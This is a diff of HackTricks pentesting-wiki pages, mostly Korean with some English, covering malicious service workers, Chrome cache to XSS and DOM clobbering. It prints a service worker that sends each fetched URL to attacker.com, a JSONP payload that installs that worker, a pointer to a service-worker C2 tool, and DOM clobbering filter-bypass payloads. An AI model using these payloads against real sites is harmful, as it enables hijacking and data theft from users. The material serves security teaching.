<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,34 +27,32 @@
|
|||
|
||||
## 기본 정보
|
||||
|
||||
**서비스 워커**는 웹 페이지나 사용자 상호 작용이 필요하지 않은 기능을 활성화하여 **오프라인 및 백그라운드 처리** 기능을 향상시키는 브라우저에서 실행되는 스크립트입니다. 서비스 워커에 대한 자세한 정보는 [여기](https://developers.google.com/web/fundamentals/primers/service-workers)에서 찾을 수 있습니다. 취약한 웹 도메인 내의 서비스 워커를 악용함으로써 공격자는 피해자의 도메인 내 모든 페이지와의 상호 작용을 제어할 수 있습니다.
|
||||
**서비스 워커**는 웹 페이지와 분리되어 브라우저에서 백그라운드에서 실행되는 스크립트로, 웹 페이지나 사용자 상호작용이 필요하지 않은 기능을 가능하게 하여 **오프라인 및 백그라운드 처리** 기능을 향상시킵니다. 서비스 워커에 대한 자세한 정보는 [여기](https://developers.google.com/web/fundamentals/primers/service-workers)에서 확인할 수 있습니다. 취약한 웹 도메인 내에서 서비스 워커를 악용함으로써 공격자는 해당 도메인 내의 모든 페이지에서 피해자의 상호작용을 제어할 수 있습니다.
|
||||
|
||||
### 기존 서비스 워커 확인
|
||||
|
||||
기존 서비스 워커는 **개발자 도구**의 **Application** 탭의 **Service Workers** 섹션에서 확인할 수 있습니다. 더 자세한 보기를 위해 [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)을 방문할 수도 있습니다.
|
||||
### 기존 서비스 워커 확인하기
|
||||
|
||||
기존 서비스 워커는 **개발자 도구**의 **애플리케이션** 탭의 **서비스 워커** 섹션에서 확인할 수 있습니다. 또 다른 방법은 [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)를 방문하여 더 자세한 정보를 확인하는 것입니다.
|
||||
|
||||
### 푸시 알림
|
||||
|
||||
**푸시 알림 권한**은 **서비스 워커**가 직접 사용자 상호 작용 없이 서버와 통신할 수 있는 능력에 직접적인 영향을 미칩니다. 권한이 거부되면 서비스 워커의 지속적인 위협 가능성이 제한됩니다. 반면 권한을 부여하면 잠재적인 악용의 수신 및 실행을 허용하여 보안 위험을 증가시킵니다.
|
||||
**푸시 알림 권한**은 **서비스 워커**가 직접 사용자 상호작용 없이 서버와 통신할 수 있는 능력에 직접적인 영향을 미칩니다. 권한이 거부되면 서비스 워커가 지속적인 위협을 가할 가능성이 제한됩니다. 반대로, 권한을 부여하면 잠재적인 악용을 수신하고 실행할 수 있게 되어 보안 위험이 증가합니다.
|
||||
|
||||
## 서비스 워커 생성 공격
|
||||
|
||||
이 취약점을 악용하기 위해 다음을 찾아야 합니다:
|
||||
이 취약점을 악용하기 위해서는 다음을 찾아야 합니다:
|
||||
|
||||
* **임의의 JS 파일을 서버에 업로드하고 업로드된 JS 파일의 서비스 워커를 로드하는 XSS** 방법
|
||||
* **출력을 조작할 수 있는 취약한 JSONP 요청** 및 **임의의 JS 코드로 출력을 조작**할 수 있는 **XSS**와 함께 **JSONP를 로드하는 페이로드**를 **악의적인 서비스 워커를 로드**할 수 있는 방법
|
||||
|
||||
다음 예제에서는 `fetch` 이벤트를 수신하고 **각 가져온 URL을 공격자 서버로 보내는 새로운 서비스 워커를 등록**하는 코드를 제시하겠습니다:
|
||||
* 서버에 **임의의 JS** 파일을 **업로드**할 수 있는 방법과 업로드된 JS 파일의 **서비스 워커를 로드할 수 있는 XSS**
|
||||
* **출력을 조작할 수 있는** **취약한 JSONP 요청**(임의의 JS 코드로)과 **악성 서비스 워커를 로드할** **페이로드로 JSONP를 로드할 수 있는 XSS**
|
||||
|
||||
다음 예제에서는 `fetch` 이벤트를 수신하고 **가져온 각 URL을 공격자의 서버로 전송하는** **새로운 서비스 워커를 등록하는 코드**를 제시하겠습니다(이 코드는 **서버에 업로드**하거나 **취약한 JSONP** 응답을 통해 로드해야 하는 코드입니다):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
|
||||
그리고 이것은 **워커를 등록**할 코드입니다 (**XSS**를 악용하여 실행할 수 있는 코드). 이 경우 **공격자** 서버로 **GET** 요청이 전송되어 서비스 워커의 **등록**이 성공했는지 여부를 **알립니다**:
|
||||
|
||||
그리고 이것은 **워커를 등록하는** 코드입니다 (당신이 **XSS**를 악용하여 실행할 수 있어야 하는 코드). 이 경우 **GET** 요청이 **공격자의** 서버로 전송되어 서비스 워커의 **등록**이 성공했는지 여부를 **알립니다**:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -67,73 +70,69 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
JSONP 엔드포인트를 악용하는 경우 `var sw` 내부에 값을 넣어야 합니다. 예를 들어:
|
||||
|
||||
취약한 JSONP 엔드포인트를 악용하는 경우 `var sw` 안에 값을 넣어야 합니다. 예를 들어:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
|
||||
**서비스 워커(SW) 악용을 위한 C2**인 [**Shadow Workers**](https://shadow-workers.github.io)는 이러한 취약점을 악용하는 데 매우 유용할 것입니다.
|
||||
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||
|
||||
**24시간 캐시 지시문**은 악의적이거나 침해당한 \*\*서비스 워커(SW)\*\*의 수명을 최대 24시간으로 제한하며, XSS 취약점 수정 후 온라인 클라이언트 상태를 가정합니다. 취약성을 최소화하기 위해 사이트 운영자는 SW 스크립트의 Time-To-Live (TTL)을 낮출 수 있습니다. 개발자들은 또한 빠른 비활성화를 위해 [**서비스 워커 킬 스위치**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)를 만들 것이 권장됩니다.
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
|
||||
## DOM Clobbering을 통한 SW 내 `importScripts` 악용
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
|
||||
서비스 워커에서 호출된 **`importScripts`** 함수는 **다른 도메인에서 스크립트를 가져올 수 있습니다**. 이 함수가 **공격자가 수정할 수 있는 매개변수를 사용하여 호출되면** 공격자는 **자신의 도메인에서 JS 스크립트를 가져와 XSS를 얻을 수 있습니다**.
|
||||
**This even bypasses CSP protections.**
|
||||
|
||||
**이는 CSP 보호를 우회합니다.**
|
||||
|
||||
**취약한 코드 예시:**
|
||||
**Example vulnerable code:**
|
||||
|
||||
* **index.html**
|
||||
|
||||
```html
|
||||
<script>
|
||||
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
|
||||
// attacker controls location.search
|
||||
</script>
|
||||
```
|
||||
|
||||
* **sw.js**
|
||||
|
||||
```javascript
|
||||
const searchParams = new URLSearchParams(location.search);
|
||||
let host = searchParams.get('host');
|
||||
self.importScripts(host + "/sw_extra.js");
|
||||
//host can be controllable by an attacker
|
||||
```
|
||||
### DOM 클로버링을 이용한 경우
|
||||
|
||||
### DOM Clobbering을 사용하는 경우
|
||||
|
||||
DOM Clobbering이 무엇인지에 대한 자세한 정보는 확인하려면:
|
||||
DOM 클로버링이 무엇인지에 대한 더 많은 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
만약 SW이 \*\*`importScripts`\*\*를 호출하는 URL/도메인이 **HTML 요소 내부에 있는 경우**, DOM Clobbering을 통해 해당 URL을 수정하여 SW가 **자신의 도메인에서 스크립트를로드하도록** 만들 수 있습니다.
|
||||
SW가 **`importScripts`**를 호출하는 URL/도메인이 **HTML 요소 내부에** 있는 경우, **DOM 클로버링을 통해 이를 수정하여 SW가 **자신의 도메인에서 스크립트를 로드하도록** 할 수 있습니다**.
|
||||
|
||||
이에 대한 예제는 참조 링크를 확인하세요.
|
||||
이와 관련된 예시는 참조 링크를 확인하세요.
|
||||
|
||||
## 참고 자료
|
||||
## 참조
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사에서 일하시나요?** **HackTricks에서 귀하의 회사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하세요**.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,50 +1,56 @@
|
|||
# Chrome Cache를 이용한 XSS
|
||||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전을 사용하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
더 자세한 내용은 [**이 writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)에서 확인할 수 있습니다.
|
||||
더 깊이 있는 세부사항은 [**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)에서 확인하세요.
|
||||
|
||||
여기에서 논의되는 기술은 두 가지 주요 캐시 유형인 **뒤로/앞으로 캐시 (bfcache)**와 **디스크 캐시**의 동작과 상호작용을 이해하는 것입니다. bfcache는 JavaScript 힙을 포함한 페이지의 완전한 스냅샷을 저장하며, 더 포괄적인 스냅샷을 저장할 수 있는 능력으로 인해 뒤로/앞으로 탐색에 대해 디스크 캐시보다 우선시됩니다. 반면, 디스크 캐시는 JavaScript 힙을 포함하지 않고 웹에서 가져온 리소스를 저장하며, 통신 비용을 줄이기 위해 뒤로/앞으로 탐색에 사용됩니다. 디스크 캐시의 흥미로운 측면은 `fetch`를 사용하여 가져온 리소스를 포함한다는 것입니다. 즉, 액세스한 URL 리소스는 브라우저에서 캐시로부터 렌더링됩니다.
|
||||
여기서 논의된 기술은 두 가지 주요 캐시 유형인 **백/포워드 캐시(bfcache)**와 **디스크 캐시**의 동작 및 상호작용을 이해하는 것과 관련이 있습니다. bfcache는 JavaScript 힙을 포함한 페이지의 전체 스냅샷을 저장하며, 더 포괄적인 스냅샷을 저장할 수 있는 능력 덕분에 백/포워드 탐색 시 디스크 캐시보다 우선시됩니다. 반면, 디스크 캐시는 JavaScript 힙을 포함하지 않고 웹에서 가져온 리소스를 저장하며, 통신 비용을 줄이기 위해 백/포워드 탐색에 사용됩니다. 디스크 캐시의 흥미로운 점은 `fetch`를 사용하여 가져온 리소스를 포함한다는 점으로, 이는 접근된 URL 리소스가 캐시에서 브라우저에 의해 렌더링된다는 것을 의미합니다.
|
||||
|
||||
### 주요 포인트:
|
||||
### 주요 사항:
|
||||
|
||||
- **bfcache**는 뒤로/앞으로 탐색에서 디스크 캐시보다 우선합니다.
|
||||
- bfcache 대신 디스크 캐시에 저장된 페이지를 활용하려면, bfcache를 비활성화해야 합니다.
|
||||
- **bfcache**는 백/포워드 탐색에서 디스크 캐시보다 우선합니다.
|
||||
- bfcache 대신 디스크 캐시에 저장된 페이지를 사용하려면 후자를 비활성화해야 합니다.
|
||||
|
||||
bfcache 비활성화:
|
||||
### bfcache 비활성화:
|
||||
|
||||
기본적으로 Puppeteer는 Chromium의 문서에 나열된 조건과 일치하도록 bfcache를 비활성화합니다. bfcache를 비활성화하는 효과적인 방법 중 하나는 `RelatedActiveContentsExist`를 사용하는 것입니다. 이는 `window.open()`을 사용하여 `window.opener`에 대한 참조를 유지하는 페이지를 열어서 달성할 수 있습니다.
|
||||
기본적으로 Puppeteer는 Chromium 문서에 나열된 조건에 맞춰 bfcache를 비활성화합니다. bfcache를 비활성화하는 효과적인 방법 중 하나는 `RelatedActiveContentsExist`를 사용하는 것으로, 이는 `window.opener`에 대한 참조를 유지하는 `window.open()`으로 페이지를 열어 달성할 수 있습니다.
|
||||
|
||||
동작 재현:
|
||||
### 동작 재현:
|
||||
|
||||
1. 웹페이지(e.g., `https://example.com`)를 방문합니다.
|
||||
2. `open("http://spanote.seccon.games:3000/api/token")`을 실행합니다. 이로 인해 서버 응답이 500 상태 코드로 반환됩니다.
|
||||
3. 새로 열린 탭에서 `http://spanote.seccon.games:3000/`로 이동합니다. 이 작업은 `http://spanote.seccon.games:3000/api/token`의 응답을 디스크 캐시로 캐시합니다.
|
||||
4. `history.back()`을 사용하여 뒤로 이동합니다. 이 작업으로 페이지에 캐시된 JSON 응답이 렌더링됩니다.
|
||||
1. 웹페이지를 방문합니다. 예: `https://example.com`.
|
||||
2. `open("http://spanote.seccon.games:3000/api/token")`를 실행합니다. 이로 인해 서버 응답이 500 상태 코드로 반환됩니다.
|
||||
3. 새로 열린 탭에서 `http://spanote.seccon.games:3000/`로 이동합니다. 이 작업은 `http://spanote.seccon.games:3000/api/token`의 응답을 디스크 캐시로 저장합니다.
|
||||
4. `history.back()`을 사용하여 뒤로 탐색합니다. 이 작업은 페이지에 캐시된 JSON 응답을 렌더링합니다.
|
||||
|
||||
디스크 캐시가 사용되었는지 확인하기 위해 Google Chrome의 DevTools를 사용할 수 있습니다.
|
||||
디스크 캐시가 사용되었는지 확인하려면 Google Chrome의 DevTools를 사용할 수 있습니다.
|
||||
|
||||
bfcache와 디스크 캐시에 대한 자세한 내용은 각각 [web.dev의 bfcache](https://web.dev/i18n/en/bfcache/)와 [Chromium의 디스크 캐시 설계 문서](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)에서 찾을 수 있습니다.
|
||||
bfcache 및 디스크 캐시에 대한 추가 세부정보는 각각 [web.dev의 bfcache](https://web.dev/i18n/en/bfcache/) 및 [Chromium의 디스크 캐시 설계 문서](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)에서 확인할 수 있습니다.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전을 사용하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,39 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 팁을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **기본**
|
||||
## **기본 사항**
|
||||
|
||||
HTML 태그 내에서 **`id`**와 **`name`** 속성을 사용하여 JS 컨텍스트 내에서 **전역 변수를 생성**할 수 있습니다.
|
||||
HTML 태그에서 **`id`** 및 **`name`** 속성을 사용하여 **JS 컨텍스트 내에서 전역 변수를 생성하는 것이 가능합니다.**
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**name 속성**을 사용하여 전역 변수를 덮어쓸 수 있는 요소는 `embed`, `form`, `iframe`, `image`, `img` 및 `object`입니다.
|
||||
**오직** 특정 요소만이 **name 속성**을 사용하여 전역 변수를 클로버링할 수 있습니다. 이들은: `embed`, `form`, `iframe`, `image`, `img` 및 `object`입니다.
|
||||
|
||||
흥미로운 점은 **form 요소**를 사용하여 변수를 덮어쓸 때, 요소 자체의 **`toString`** 값인 `[object HTMLFormElement]`을 얻게 된다는 것입니다. 그러나 **anchor**의 경우 **`toString`**은 anchor의 **`href`**가 됩니다. 따라서, **`a`** 태그를 사용하여 덮어쓸 경우, 문자열로 처리될 때 **값을 제어**할 수 있습니다:
|
||||
흥미롭게도, **form 요소**를 사용하여 변수를 **클로버링**할 경우, 요소 자체의 **`toString`** 값이 반환됩니다: `[object HTMLFormElement]` 그러나 **anchor**를 사용할 경우 **`toString`** 값은 앵커의 **`href`**가 됩니다. 따라서, **`a`** 태그를 사용하여 클로버링하면, **문자열로 처리될 때** **값**을 **제어**할 수 있습니다:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
console.log(x);//controlled string
|
||||
</script>
|
||||
```
|
||||
### 배열 및 속성
|
||||
### Arrays & Attributes
|
||||
|
||||
배열과 객체 속성을 **무효화**할 수도 있습니다:
|
||||
배열과 객체 속성을 **덮어쓸** 수도 있습니다:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
**3번째 속성** (예: x.y.z)을 덮어쓰려면 **`form`**을 사용해야 합니다:
|
||||
**3번째 속성**(예: x.y.z)을 덮어쓰려면 **`form`**을 사용해야 합니다:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
@ -47,17 +50,17 @@ console.log(x.y)//controlled
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
더 많은 속성을 덮어쓰는 것은 **더 복잡하지만 여전히 가능**하며, iframe을 사용하여 수행할 수 있습니다:
|
||||
Clobbering 더 많은 속성은 **더 복잡하지만 여전히 가능**합니다, iframes를 사용하여:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
스타일 태그는 iframe이 렌더링되는 데 충분한 시간을 제공하기 위해 사용됩니다. 이 태그 없이는 'undefined'라는 경고가 표시됩니다.
|
||||
style 태그는 **iframe이 렌더링될 충분한 시간을 주기 위해** 사용됩니다. 이것이 없으면 **undefined** 경고가 표시됩니다.
|
||||
{% endhint %}
|
||||
|
||||
더 깊은 속성을 덮어쓰기 위해, 다음과 같이 **HTML 인코딩된 iframe**을 사용할 수 있습니다:
|
||||
더 깊은 속성을 덮어쓰려면, **html 인코딩이 있는 iframe**을 다음과 같이 사용할 수 있습니다:
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
|
@ -67,7 +70,7 @@ alert(a.b.c.d.e)//controlled
|
|||
```
|
||||
### **필터 우회**
|
||||
|
||||
만약 필터가 `document.getElementByID('x').attributes`와 같이 노드의 속성을 **반복**하고 있다면, 속성 **`.attributes`**를 **덮어쓰고 필터를 깰 수 있습니다**. 다른 DOM 속성인 **`tagName`**, **`nodeName`**, **`parentNode`** 등도 **덮어쓸 수 있습니다**.
|
||||
필터가 `document.getElementByID('x').attributes`와 같은 것을 사용하여 노드의 **속성**을 **루프**하고 있다면, **`.attributes`** 속성을 **클로버**하여 필터를 **중단**시킬 수 있습니다. **`tagName`**, **`nodeName`** 또는 **`parentNode`**와 같은 다른 DOM 속성들도 **클로버**할 수 있습니다.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
@ -78,44 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **`window.someObject` 덮어쓰기**
|
||||
## **클로버링 `window.someObject`**
|
||||
|
||||
JavaScript에서는 다음과 같은 코드를 자주 볼 수 있습니다:
|
||||
JavaScript에서는 다음과 같은 것을 찾는 것이 일반적입니다:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
